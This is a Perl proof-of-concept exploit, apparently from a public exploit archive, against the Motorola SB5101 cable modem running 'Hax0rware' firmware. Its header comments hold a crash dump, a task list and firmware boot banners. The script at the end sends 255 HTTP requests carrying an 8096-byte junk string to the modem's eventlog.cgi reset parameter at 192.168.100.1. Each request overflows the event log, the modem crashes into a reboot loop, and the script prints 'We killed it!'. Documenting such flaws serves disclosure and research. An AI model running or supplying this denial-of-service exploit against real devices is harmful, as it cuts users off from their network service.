196 lines
No EOL
12 KiB
Perl
Executable file
196 lines
No EOL
12 KiB
Perl
Executable file
#!/usr/bin/perl
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# Motorola SB5101 Hax0rware Event Reset Remote Overflow
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# Tested on Hax0rware 1.1 R30, R32 and R39
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# Author: Dillon Beresford
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# Date: 6/6/2010
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# Vendor: Motorola Corporation and SBHacker ( SBHacker has been notified of the vuln ).
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# Software Link: http://www.sbhacker.net/forum/index.php
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# Description: Motorola SB5101 Hax0rware Event Reset Remote Buffer Overflow
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# An unauthenticated attacker could send multiple log reset requests to eventlog.cgi,
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# causing a a denial of service, which would send the cable modem into a reboot loop.
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# For debugging telnet into the device 192.168.100.1 and run the poc.
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# >>> YIKES... looks like you may have a problem! <<<
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# r0/zero=00000000 r1/at =80510000 r2/v0 =00000000 r3/v1 =00000002
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# r4/a0 =ac100102 r5/a1 =00000000 r6/a2 =00000001 r7/a3 =8069b914
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# r8/t0 =00000001 r9/t1 =00000000 r10/t2 =00000001 r11/t3 =00000000
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# r12/t4 =00000000 r13/t5 =00000000 r14/t6 =00000000 r15/t7 =00000005
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# r16/s0 =807bd04c r17/s1 =807bd004 r18/s2 =807bd000 r19/s3 =8069bb90
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# r20/s4 =8069bb88 r21/s5 =11110015 r22/s6 =11110016 r23/s7 =11110017
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# r24/t8 =00000000 r25/t9 =00000009 r26/k0 =807d2698 r27/k1 =8069bc7c
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# r28/gp =80458fa0 r29/sp =8069b910 r30/fp =8069b970 r31/ra =80197d24
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# PC : 0x80197e14 error addr: 0xac100102
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# cause: 0x00000010 status: 0x1000ff03
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# BCM interrupt enable: fffffff7, status: 00000000
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# Instruction at PC: 0x8c830000
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# entry 80197c58 called from 801dbe10
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# entry 801dbd08 called from 80242f64
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# entry 80242eb8 called from 802fb2e4
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# entry 802fb2ac called from 802fb2a4
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# entry 802fb2ac Return address (00000000) invalid. Trace stops.
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# Task: NetToMedia Thread
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# ---------------------------------------------------
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# ID: 0x0025
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# Handle: 0x8069ba24
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# Set Priority: 23
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# Current Priority: 23
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# State: SUSP
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# Stack Base: 0x8069a9b0
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# Stack Size: 4096 bytes
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# Stack Used: 1088 bytes
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# Stack Stack Stack
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# TaskId TaskName Priority State Size Used Margin
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# ---------- -------------------------------- -------- -------- -------- -------- --------
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# 0x8048f818 Idle Thread 31 RUN 2048 1064 984
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# 0x805131d0 Network alarm support 6 SLEEP 2256 1232 1024
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# 0x804924c8 Network support 7 SLEEP 8192 1824 6368
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# 0x80513f20 pthread.00000800 15 EXIT 7852 1104 6748
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# 0x8048a1c8 tStartup 18 SLEEP 12288 5208 7080
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# 0x8054b9ac Rajko HttpD 23 SLEEP 3280 2164 1116
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# 0x807f579c NonVol Device Async Helper 25 SLEEP 3072 504 2568
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# 0x807ebc7c Motorola Standby Switch Thread 23 SLEEP 4096 440 3656
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# 0x807ea984 Motorola Vendor Ctl Thread 23 SLEEP 4096 512 3584
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# 0x807f64e8 WDOG 17 RUN 5120 2784 2336
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# 0x807e8eb0 BFC Ping Thread 29 SLEEP 6144 476 5668
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# 0x807e870c ConsoleThread 27 RUN 36864 2168 34696
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# 0x807d6c58 TelnetD 23 RUN 2256 2040 216
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# 0x807ca564 CfgVB Thread 23 SLEEP 4096 516 3580
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# 0x807c5400 DHCM 25 SLEEP 16384 516 15868
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# 0x807bf390 Event 25 SLEEP 0 0 0 OVERFLOW
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# 0x8079a900 Time Of Day Thread 23 SLEEP 6144 460 5684
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# 0x8079ad70 CmDocsisIpThread 23 SLEEP 8192 508 7684
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# 0x80793edc CmBpiManagerThd 25 SLEEP 8192 512 7680
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# 0x8079035c CmDsxHelper 23 SLEEP 8192 508 7684
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# 0x807ac334 CmDocsisCtlThread 21 SLEEP 8192 516 7676
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# 0x80789228 Scan Downstream Thread 23 SLEEP 4096 1416 2680
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# 0x80786004 RateShaping Thread 23 SLEEP 4096 448 3648
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# 0x807f65e0 CMHL 23 SLEEP 4500 372 4128
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# 0x807f66d8 CMHH 21 SLEEP 4500 356 4144
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# 0x807f67d0 ENRX 23 SLEEP 4500 1248 3252
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# 0x807f68c8 ENTX 23 SLEEP 4500 788 3712
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# 0x807f69c0 ELNK 23 SLEEP 4500 324 4176
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# 0x807f6ab8 USTX 23 SLEEP 4500 344 4156
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# 0x807f6bb0 USRX 23 SLEEP 4500 376 4124
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# 0x807f6ca8 UBCT 19 SLEEP 4500 360 4140
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# 0x807f6da0 USRN 23 SLEEP 4500 344 4156
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# 0x806a5e18 DHCP Client Thread 23 SLEEP 12288 512 11776
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# 0x807f6e98 IpHalIst 23 RUN 4500 816 3684
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# 0x8069ff7c CmPropaneCtlThread 23 SLEEP 8192 1632 6560
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# 0x8069d320 IGMP Thread 23 SLEEP 4096 460 3636
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# 0x8069ba24 NetToMedia Thread 23 SUSP 4096 1088 3008
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# 0x8069798c Trap Thread 23 SLEEP 16384 504 15880
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# 0x807f6030 SNMP Thread 23 SLEEP 20480 1196 19284
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# 0x805aaf20 DHCP Server Thread 23 SLEEP 8192 1448 6744
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# 0x8047b410 tNonVolTimer 30 SLEEP 2048 292 1756
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# * *
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# *** ***
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# *** ***
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# *** ***
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# ***** *****
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# ***** *****
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# ***** *****
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# ******* *******
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# ******* *******
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# ******* *******
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# ********* *********
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# ********* *********
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# **** *** *** ****
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# *** *** ***
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# *** * ***
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# ** **
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# ** **
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# ** **
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# ** **
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# * *
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# Motorola Corporation
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# +----------------------------------------------------------------------------+
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# | _/_/ _/_/_/_/ _/_/ |
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# | _/ _/ _/ _/ _/ Broadband |
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# | _/ _/ _/ _/ |
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# | _/_/ _/_/_/ _/ Foundation |
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# | _/ _/ _/ _/ |
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# | _/ _/ _/ _/ _/ Classes |
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# | _/_/_/ _/ _/_/ |
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# | |
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# | Copyright (c) 1999 - 2007 Broadcom Corporation |
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# | |
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# | Revision: 3.9.33.3 RELEASE |
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# | |
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# | Features: Console Nonvol Fat HeapManager SNMP Networking USB1.1 |
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# +----------------------------------------------------------------------------+
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# | Standard Embedded Target Support for BFC |
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# | |
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# | Copyright (c) 2003 - 2007 Broadcom Corporation |
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# | |
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# | Revision: 3.0.1 RELEASE |
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# | |
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# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |
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# | Copyright (c) 2003 - 2007 Broadcom Corporation |
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# | |
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# | Revision: 3.0.1 RELEASE |
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# | |
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# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |
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# | Features: Bootloader-Compression-Support=0x19 |
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# +----------------------------------------------------------------------------+
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# | eCos BFC Application Layer |
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# | |
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# | Copyright (c) 1999 - 2007 Broadcom Corporation |
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# | |
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# | Revision: 3.0.2 RELEASE |
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# | |
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# | Features: eCos Console Cmds, (no Idle Loop Profiler) |
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# +----------------------------------------------------------------------------+
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# | _/_/ _/ _/ |
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# | _/ _/ _/_/ _/_/ DOCSIS Cable Modem |
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# | _/ _/ _/ _/ |
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# | _/ _/ _/ |
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# | _/ _/ _/ |
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# | _/ _/ _/ _/ |
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# | _/_/ _/ _/ |
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# | |
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# | Copyright (c) 1999 - 2005 Broadcom Corporation |
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# | |
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# | Revision: 3.9.33.3 RELEASE |
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# | |
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# | Features: AckCel(tm) DOCSIS 1.0/1.1/2.0 Propane(tm) CM SNMP w/Factory MIB |
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# | Features: Support CM Vendor Extension |
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# +----------------------------------------------------------------------------+
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# | Motorola Data-Only CM Vendor Extension |
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# | |
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# | Revision: 3.0.0a RELEASE |
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# | |
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# | Features: DHCP Server HTTP Server |
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# +----------------------------------------------------------------------------+
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# | Build Date: Apr 29 2009 |
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# | Build Time: 15:08:51 |
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# | Built By: vobadm02 |
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# +----------------------------------------------------------------------------+
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use LWP::Simple;
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my $junk = "\x31" x 8096;
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print "+---------------------------------------------------------------+\n".
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"| Motorola SB5101 Hax0rware Event Reset Remote Overflow |\n".
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"| Motorola: SB5101-2.7.6.0-GA-00-NOSH |\n".
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"| Version: 1.1 R30, R32 and R39 |\n".
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"| Vendor: Motorola Corporation and SBHacker |\n".
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"| Author: Dillon Beresford |\n".
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"| Date: 6/6/2010 |\n".
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"+---------------------------------------------------------------+\n";
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for ($count = 1; $count < 256; $count++)
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{
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$contents = get("http://192.168.100.1/eventlog.cgi?reset=".$junk);
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print "sending request to cable modem\n";
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}
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print "We killed it!\n"; |